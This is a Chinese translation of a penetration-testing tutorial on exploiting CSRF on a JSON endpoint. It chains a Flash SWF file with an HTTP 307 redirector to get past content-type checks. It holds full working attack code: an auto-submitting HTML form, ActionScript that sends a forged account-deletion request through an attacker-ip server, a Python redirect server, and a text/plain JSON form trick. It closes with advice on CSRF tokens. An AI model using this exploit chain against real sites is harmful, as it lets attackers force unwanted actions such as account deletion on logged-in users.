標籤:

在JSON端點上利用CSRF漏洞的實踐教程

(CSRF + Flash + HTTP 307)= 很牛逼的利用姿勢

背景介紹

在最近完成的一次滲透測試中,除了發現幾個業務邏輯漏洞,XSS和不安全的直接對象引用外,我們還發現了一些跨站點請求偽造(CSRF)的漏洞。

在我們發現的漏洞中,有一個CSRF漏洞是在接受JSON POST請求端點上的。要利用這個漏洞攻擊者需要發送一個自定義的content-type的HTTP頭並且POST Body不允許使用標準的JavaScript 或 HTML。當使用XMLHttpRequest時,自定義的HTTP頭將調用作為CORS規範的一部分的預檢請求。在本文中,我們將引導你完成我們利用這個CSRF漏洞所做的一些事情。

現在我們可以使用自定義的HTTP頭向JSON端點發出POST請求,但不調用預檢CORS請求。

利用CSRF遇到的問題?

就漏洞利用而言,CSRF漏洞與易受攻擊的應用程序功能一樣強大。無論請求的來源如何,CSRF漏洞都會濫用瀏覽器的功能在發出請求時自動發送認證令牌。伺服器和應用程序(除非編程指定)不會區分請求的來源,無論是由合法用戶還是由攻擊者託管的登錄用戶被誘騙訪問的頁面。

例如,下面顯示了一個可用於通過POST表單刪除帳戶功能的CSRF的簡單PoC代碼:

<html> <body onload=myform.submit()> <form action="/userdelete" method="POST" name="myform"> <input type="hidden" id="acctnum" name="acctnum" value="100"> <input type="hidden" id="confirm" name="confirm" value="true"> </form> </body></html>

當已登錄的用戶使用瀏覽器驗證的會話處於活動狀態的相同瀏覽器瀏覽到此頁面(由攻擊者託管)時,頁面將發出POST請求,導致功能被觸發。由於瀏覽器默認發送身份驗證cookie,因此在完成攻擊的伺服器上會觸發該功能。

需要注意的是,在這個請求中設置的content-type HTTP頭是application/x-www-form-urlencoded類型的,因為伺服器期望的是URL編碼的HTML表單數據。

那麼為什麼我們不能使用這個PoC利用我們的JSON端點(在伺服器上會驗證Content-Type HTTP頭)呢?這是因為:

1. POST body必須以JSON格式發送,而使用HTML表單元素構建起來有點繁瑣。

2. Content-Type HTTP頭需要設置為application/json。設置自定義的HTTP頭需要使用XMLHttpRequests,這反過來會向伺服器發送OPTIONS預發送請求。

如果不調用跨域的預先請求,那麼,運行在不同域名上的腳本無法設置自定義的HTTP頭。

Flash和重定向

Adobe Flash可用於使用ActionScript製作Web請求。ActionScript還可以用於為Web請求設置自定義的HTTP頭。

除非遠程站點上存在有效的crossdomain.xml文件,否則Flash不會向具有自定義HTTP頭的不同來源的伺服器發出請求。

為了完全避免跨域文件,我們使用Flash和我們的POST有效載荷向Flash文件所在的伺服器上的另一個文件發出請求。該文件將充當重定向器並響應HTTP狀態碼307。307和其他3XX 的HTTP狀態碼的主要區別在於,HTTP 307可以確保在重定向請求發生時請求方法和請求主體不會發生改變。

HTTP 307會將POST Body和HTTP頭重定向到我們指定的目標的最終URL,從而完成攻擊。

結合在一起

要建立一個成功的PoC,讓我們來看看這個易受攻擊的端點需要什麼樣的要求:

1. /userdelete端點期望要發送數據帶有 application/json這個HTTP頭

2. 易受攻擊的端點需要發送以下JSON數據

{"acctnum":"100","confirm":"true"}

攻擊者的設置

攻擊者的伺服器由以下組件和流量組成:

1. 當攻擊者託管的Flash文件在受害者的瀏覽器中下載並執行時,會在攻擊者的伺服器上使用有效載荷和自定義的HTTP頭向重定向腳本發起HTTP POST請求

2. 重定向器腳本會簡單地響應一個HTTP 307,並將響應中的Location這個HTTP頭設置為最終的易受攻擊的/userdelete端點。

3. 受害者的瀏覽器然後會向最終的URL發出另一個POST請求,並帶有HTTP頭,從而完成攻擊。

創建csrf.swf

要創建發出Web請求的csrf.swf 的 Flash文件,請按照下列步驟操作:

1. 從Adobe官網安裝Flex SDK用於將ActionScript編譯為swf文件。Flex需要安裝32位JVM,可以從Oracle官網下載安裝32位的JDK。

2. 創建一個名為csrf.as的文本文件,其中包含下面給出的ActionScript代碼。

3. 將<attacker-ip>佔位符替換為生成Flash文件所在的系統的IP地址/域名(攻擊者伺服器)。

4. 要將此文件編譯為csrf.swf,只需運行mxmlc csrf.as命令。這將創建一個名為csrf.swf的文件。

package{ import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod;public class csrf extends Sprite { public function csrf() { super(); var member1:Object = null; var myJson:String = null; member1 = new Object(); member1 = { "acctnum":"100", "confirm":"true" }; var myData:Object = member1; myJson = JSON.stringify(myData); myJson = JSON.stringify(myData); var url:String = "http://attacker-ip:8000/"; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader("Content- Type","application/json")); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader();try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } }}

創建Web伺服器來託管和發出307重定向響應

伺服器基本上會在接收到文件請求時託管csrf.swf文件,或者在收到任何其他HTTP請求後立即發出307重定向。我們使用Python的BaseHTTPServer模塊來實現這個功能。

1. 創建一個名為pyserver.py的文件,其中包含下面給出的python代碼。

2. 這個python代碼將作為8000埠上的web伺服器來託管csrf.swf文件,並響應http:// victim-site / userdelete端點請求的HTTP 307重定向。

3. 通過運行python pyserver.py來啟動網路伺服器

import BaseHTTPServerimport timeimport sys HOST = PORT = 8000 class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): if s.path == /csrf.swf: s.send_response(200) s.send_header("Content-Type","application/x-shockwave-flash") s.end_headers() s.wfile.write(open("csrf.swf", "rb").read()) return s.send_response(307) s.send_header("Location","http://victim-site/userdelete") s.end_headers() def do_GET(s): print(s.path) s.do_POST() if __name__ == __main__: server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST,PORT), RedirectHandler) print time.asctime(),"Server Starts - %s:%s" % (HOST,PORT) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print time.asctime(),"Server Stops - %s:%s" % (HOST,PORT)

https://gist.github.com/shreddd/b7991ab491384e3c3331上的代碼被用作創建這個HTTP重定向伺服器的參考

PoC利用流程

這些是受害者為完成攻擊而採取的步驟。Flash需要在瀏覽器中啟用。

1. 用戶在瀏覽器中登錄到victim-site/

2. 受害者被誘騙導航到 attacker-ip:8000/csrf.s

3. 載入flash文件,用有效載荷和自定義HTTP頭向 attacker-ip:8000/ 發起POST請求

4. 攻擊者伺服器發出HTTP 307重定向響應。這會導致POST響應body和自定義HTTP頭按原樣發送到 victim-site/

5. 用戶刷新他的 victim-site/ 頁面,發現他/她的帳戶已被刪除。

最後的想法

在這種情況下,必須使用Flash文件和307重定向器,這是由於伺服器會驗證請求的content-type是否為application / json。如果在伺服器上缺少這個檢查,則可以使用JavaScript來創建一個模仿JSON對象的HTML元素屬性,並且可以用如下所示的代碼進行POST請求:

<html> <body> <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><form id="myform" enctype="text/plain" action="https://victim-site/userdelete" method="POST"> <input id="json" type="hidden" name=json value=test"}> </form><script> $(document).ready(function() { $("#json").attr("name",{"acctnum":"100","confirm":"true","a":"); $("#myform").submit(); }); </script></body></html>

另一種方法是使用Fetch API來創建一個帶有text/plain頭的JSON POST 請求來完成攻擊。

CSRF漏洞可能與易受攻擊的功能一樣危險。有些開發人員有時所依靠的JS或HTML表單是無法將content-type設置為必要的保護的,通過這篇文章可以很容易地將其繞過。

現在在我們結束之前總結一些想法吧,

· 開發人員不應該僅僅依靠請求頭,源或referer來做出伺服器端該如何處理請求的決定,就像構建應用程序一樣,「所有的用戶輸入都是不安全的」的思想可以確保你第一次安全地構建。

· 對CSRF的正確解決方法是在請求中使用足夠隨機的令牌,以便伺服器知道進入的請求是從實際應用程序發出的,而不是來自託管在不同的源的伺服器上的頁面。

· 應用程序中的任何XSS漏洞都可用於繞過CSRF保護,因為受攻擊者控制的JavaScript將能夠讀取DOM並提取CSRF令牌來偽裝成正常用戶發出自定義的請求。

· OWASP的網站有一些很好的文檔來防止你的網站上出現CSRF漏洞

本文翻譯自:blog.appsecco.com/explo ,如若轉載,請註明原文地址: 4hou.com/web/10234.html 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

信息安全專業的發展會受到文憑的限制嗎?
黑客開發虛假WordPress安全插件植入後門感染用戶
手把手教您玩轉Malwarebytes CrackMe (下篇)
【快訊】美國選民資料庫泄露,包含2億選民個人信息
什麼是對抗攻擊?

TAG:信息安全 |